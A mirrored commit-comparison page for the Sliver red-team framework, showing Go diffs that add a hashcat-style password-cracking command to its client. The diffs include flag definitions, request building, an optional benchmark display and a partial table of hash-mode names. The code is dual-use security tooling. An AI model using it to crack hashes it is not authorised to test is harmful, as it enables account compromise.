mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
48
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
87b1efaa5f | ||
|
|
009e505a54 | ||
|
|
c0dd2d5b51 | ||
|
|
6dab9dc6c5 | ||
|
|
854249fa25 | ||
|
|
7db573a03e | ||
|
|
0bef5491dc | ||
|
|
1c50e5a87b | ||
|
|
8dae2d0d52 | ||
|
|
023776f7e3 | ||
|
|
b7566a3b09 | ||
|
|
b889e2eb6f | ||
|
|
4466ace279 | ||
|
|
2b65089b27 | ||
|
|
87d5fd53a8 | ||
|
|
cf79a2d284 | ||
|
|
6d0276ff67 | ||
|
|
9b001ab88e | ||
|
|
503218f3f4 | ||
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
8ea7eb4236 | ||
|
|
8f3c3ec1e0 | ||
|
|
8d4bf9c759 | ||
|
|
628757250e | ||
|
|
85094fc695 | ||
|
|
0a88ad77f7 | ||
|
|
4d04f08421 | ||
|
|
4a01971f7d | ||
|
|
977c63dc16 | ||
|
|
2d65d7d6a5 | ||
|
|
4f5ca51cfe | ||
|
|
25d242230b | ||
|
|
b4345226c1 | ||
|
|
c9f4970e4b | ||
|
|
e72fa3dbd0 | ||
|
|
2e93ce5684 | ||
|
|
828838cddf | ||
|
|
16c1dc21fd | ||
|
|
33c656d082 | ||
|
|
99a44e340f | ||
|
|
de5fa3458b |
No files matched your search
@@ -42,4 +42,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
bindCrackFlags(f)
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
CrackStationsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
|
||||
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
|
||||
})
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
if len(args) > 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
hasFlag := false
|
||||
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||
if flag.Changed && flag.Name != "timeout" {
|
||||
hasFlag = true
|
||||
}
|
||||
})
|
||||
return hasFlag
|
||||
}
|
||||
|
||||
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||
flags := cmd.Flags()
|
||||
req := &clientpb.CrackCommand{}
|
||||
|
||||
if flags.Changed("attack-mode") {
|
||||
raw, _ := flags.GetString("attack-mode")
|
||||
attackMode, err := parseCrackAttackMode(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.AttackMode = attackMode
|
||||
}
|
||||
|
||||
if flags.Changed("hash-type") {
|
||||
raw, _ := flags.GetString("hash-type")
|
||||
hashType, err := parseHashType(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.HashType = hashType
|
||||
}
|
||||
|
||||
hashes, _ := flags.GetStringSlice("hash")
|
||||
if len(args) > 0 {
|
||||
hashes = append(hashes, args...)
|
||||
}
|
||||
req.Hashes = hashes
|
||||
|
||||
req.Quiet, _ = flags.GetBool("quiet")
|
||||
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||
req.HexSalt, _ = flags.GetBool("hex-salt")
|
||||
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||
req.Force, _ = flags.GetBool("force")
|
||||
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||
req.Status, _ = flags.GetBool("status")
|
||||
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||
req.Loopback, _ = flags.GetBool("loopback")
|
||||
|
||||
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
|
||||
req.MarkovHcstat2 = []byte(raw)
|
||||
}
|
||||
req.MarkovDisable, _ = flags.GetBool("markov-disable")
|
||||
req.MarkovClassic, _ = flags.GetBool("markov-classic")
|
||||
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
|
||||
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
|
||||
req.Runtime, _ = flags.GetUint32("runtime")
|
||||
req.Session, _ = flags.GetString("session")
|
||||
req.Restore, _ = flags.GetBool("restore")
|
||||
req.RestoreDisable, _ = flags.GetBool("restore-disable")
|
||||
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||
req.RestoreFile = []byte(raw)
|
||||
}
|
||||
|
||||
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||
for _, raw := range formats {
|
||||
format, err := parseCrackOutfileFormat(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||
}
|
||||
}
|
||||
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||
req.Separator, _ = flags.GetString("separator")
|
||||
req.Stdout, _ = flags.GetBool("stdout")
|
||||
req.Show, _ = flags.GetBool("show")
|
||||
req.Left, _ = flags.GetBool("left")
|
||||
req.Username, _ = flags.GetBool("username")
|
||||
req.Remove, _ = flags.GetBool("remove")
|
||||
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
|
||||
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
|
||||
if raw, _ := flags.GetString("potfile"); raw != "" {
|
||||
req.Potfile = []byte(raw)
|
||||
}
|
||||
|
||||
if flags.Changed("encoding-from") {
|
||||
raw, _ := flags.GetString("encoding-from")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if flags.Changed("encoding-to") {
|
||||
raw, _ := flags.GetString("encoding-to")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
|
||||
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||
req.KeyboardLayoutMapping = []byte(raw)
|
||||
}
|
||||
|
||||
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
|
||||
if flags.Changed("workload-profile") {
|
||||
raw, _ := flags.GetString("workload-profile")
|
||||
profile, err := parseCrackWorkloadProfile(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.WorkloadProfile = profile
|
||||
}
|
||||
|
||||
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
|
||||
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
|
||||
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
|
||||
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
|
||||
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||
req.Skip, _ = flags.GetUint64("skip")
|
||||
req.Limit, _ = flags.GetUint64("limit")
|
||||
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||
|
||||
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||
req.RulesFile = []byte(raw)
|
||||
}
|
||||
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||
req.Identify, _ = flags.GetString("identify")
|
||||
req.Increment, _ = flags.GetBool("increment")
|
||||
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||
req.BrainHost, _ = flags.GetString("brain-host")
|
||||
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||
req.BrainSession, _ = flags.GetString("brain-session")
|
||||
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||
values, _ := flags.GetUintSlice(name)
|
||||
if len(values) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]uint32, len(values))
|
||||
for i, value := range values {
|
||||
out[i] = uint32(value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackAttackMode(numeric), nil
|
||||
}
|
||||
|
||||
normalized := strings.ToLower(strings.TrimSpace(raw))
|
||||
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
|
||||
switch normalized {
|
||||
case "straight":
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
case "combination":
|
||||
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||
case "bruteforce", "brute_force", "brute-force":
|
||||
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||
case "hybrid_wordlist_mask":
|
||||
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||
case "hybrid_mask_wordlist":
|
||||
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||
case "association":
|
||||
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||
case "no_attack", "none":
|
||||
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||
default:
|
||||
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func parseHashType(raw string) (clientpb.HashType, error) {
|
||||
if raw == "" {
|
||||
return clientpb.HashType_MD5, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.HashType(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.HashType_value[key]; ok {
|
||||
return clientpb.HashType(value), nil
|
||||
}
|
||||
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackEncoding(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackEncoding_value[key]; ok {
|
||||
return clientpb.CrackEncoding(value), nil
|
||||
}
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackOutfileFormat(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
|
||||
return clientpb.CrackOutfileFormat(value), nil
|
||||
}
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackWorkloadProfile(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
|
||||
return clientpb.CrackWorkloadProfile(value), nil
|
||||
}
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
|
||||
}
|
||||
|
||||
func normalizeEnumKey(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
var builder strings.Builder
|
||||
builder.Grow(len(value))
|
||||
underscore := false
|
||||
for i := 0; i < len(value); i++ {
|
||||
ch := value[i]
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
if ch >= 'a' && ch <= 'z' {
|
||||
ch -= 'a' - 'A'
|
||||
}
|
||||
builder.WriteByte(ch)
|
||||
underscore = false
|
||||
continue
|
||||
}
|
||||
if !underscore {
|
||||
builder.WriteByte('_')
|
||||
underscore = true
|
||||
}
|
||||
}
|
||||
return strings.Trim(builder.String(), "_")
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package crack
|
||||
|
||||
import "github.com/spf13/pflag"
|
||||
|
||||
func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||
f.Bool("quiet", false, "quiet mode")
|
||||
f.Bool("hex-charset", false, "treat charset as hex")
|
||||
f.Bool("hex-salt", false, "treat salt as hex")
|
||||
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||
f.Bool("force", false, "ignore warnings")
|
||||
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||
f.Bool("status", false, "enable status")
|
||||
f.Bool("status-json", false, "emit status in JSON")
|
||||
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
|
||||
f.Bool("machine-readable", false, "machine readable output")
|
||||
f.Bool("keep-guessing", false, "keep guessing")
|
||||
f.Bool("self-test-disable", false, "disable self-test")
|
||||
f.Bool("loopback", false, "use loopback mode")
|
||||
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
|
||||
f.Bool("markov-disable", false, "disable markov mode")
|
||||
f.Bool("markov-classic", false, "use classic markov")
|
||||
f.Bool("markov-inverse", false, "use inverse markov")
|
||||
f.Uint32("markov-threshold", 0, "markov threshold")
|
||||
f.Uint32("runtime", 0, "runtime in seconds")
|
||||
f.String("session", "", "session name")
|
||||
f.Bool("restore", false, "restore session")
|
||||
f.Bool("restore-disable", false, "disable restore")
|
||||
f.String("restore-file", "", "restore file path or identifier")
|
||||
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||
f.String("separator", "", "separator character")
|
||||
f.Bool("stdout", false, "stdout output")
|
||||
f.Bool("show", false, "show cracked hashes")
|
||||
f.Bool("left", false, "show uncracked hashes")
|
||||
f.Bool("username", false, "enable username handling")
|
||||
f.Bool("remove", false, "remove cracked hashes")
|
||||
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||
f.Bool("potfile-disable", false, "disable potfile")
|
||||
f.String("potfile", "", "potfile path or identifier")
|
||||
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||
f.Bool("logfile-disable", false, "disable logfile")
|
||||
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||
f.Bool("benchmark", false, "run benchmark")
|
||||
f.Bool("benchmark-all", false, "run full benchmark")
|
||||
f.Bool("speed-only", false, "show speed only")
|
||||
f.Bool("progress-only", false, "show progress only")
|
||||
f.Uint32("segment-size", 0, "segment size")
|
||||
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||
f.Uint32("hook-threads", 0, "hook threads")
|
||||
f.Bool("hash-info", false, "show hash information")
|
||||
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||
f.Bool("backend-info", false, "show backend info")
|
||||
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||
f.Uint32("backend-vector-width", 0, "backend vector width")
|
||||
f.Uint32("spin-damp", 0, "spin damp")
|
||||
f.Bool("hwmon-disable", false, "disable hardware monitoring")
|
||||
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
|
||||
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||
f.Uint64("skip", 0, "skip count")
|
||||
f.Uint64("limit", 0, "limit count")
|
||||
f.Bool("keyspace", false, "show keyspace")
|
||||
f.String("rules-file", "", "rules file path or identifier")
|
||||
f.Uint32("generate-rules", 0, "generate rules")
|
||||
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||
f.String("custom-charset1", "", "custom charset 1")
|
||||
f.String("custom-charset2", "", "custom charset 2")
|
||||
f.String("custom-charset3", "", "custom charset 3")
|
||||
f.String("custom-charset4", "", "custom charset 4")
|
||||
f.String("identify", "", "identify hash")
|
||||
f.Bool("increment", false, "incremental mode")
|
||||
f.Uint32("increment-min", 0, "increment min")
|
||||
f.Uint32("increment-max", 0, "increment max")
|
||||
f.Bool("slow-candidates", false, "slow candidates")
|
||||
f.Bool("brain-server", false, "brain server mode")
|
||||
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||
f.Bool("brain-client", false, "brain client mode")
|
||||
f.String("brain-client-features", "", "brain client features")
|
||||
f.String("brain-host", "", "brain host")
|
||||
f.Uint32("brain-port", 0, "brain port")
|
||||
f.String("brain-password", "", "brain password")
|
||||
f.String("brain-session", "", "brain session")
|
||||
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -34,6 +35,37 @@ import (
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunCrack(cmd, args) {
|
||||
crackCmd, err := buildCrackCommand(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
ctx := context.Background()
|
||||
if timeoutSeconds > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp == nil || resp.Job == nil {
|
||||
con.PrintInfof("Crack request submitted\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
|
||||
if resp.Job.Err != "" {
|
||||
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
printCracker(cracker, index, con, showBenchmarks)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
if showBenchmarks {
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||
if len(cracker.Benchmarks) == 0 {
|
||||
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
|
||||
} else {
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
name, ok := hashcatHashTypeName(hashType)
|
||||
if !ok {
|
||||
name = clientpb.HashType(hashType).String()
|
||||
}
|
||||
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
package crack
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
|
||||
var hashcatHashTypes = map[int32]string{
|
||||
0: "MD5",
|
||||
10: "md5($pass.$salt)",
|
||||
11: "Joomla < 2.5.18",
|
||||
12: "PostgreSQL",
|
||||
20: "md5($salt.$pass)",
|
||||
21: "osCommerce, xt:Commerce",
|
||||
22: "Juniper NetScreen/SSG (ScreenOS)",
|
||||
23: "Skype",
|
||||
24: "SolarWinds Serv-U",
|
||||
30: "md5(utf16le($pass).$salt)",
|
||||
40: "md5($salt.utf16le($pass))",
|
||||
50: "HMAC-MD5 (key = $pass)",
|
||||
60: "HMAC-MD5 (key = $salt)",
|
||||
70: "md5(utf16le($pass))",
|
||||
100: "SHA1",
|
||||
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||
110: "sha1($pass.$salt)",
|
||||
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||
112: "Oracle S: Type (Oracle 11+)",
|
||||
120: "sha1($salt.$pass)",
|
||||
121: "SMF (Simple Machines Forum) > v1.1",
|
||||
122: "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||
123: "EPi",
|
||||
124: "Django (SHA-1)",
|
||||
125: "ArubaOS",
|
||||
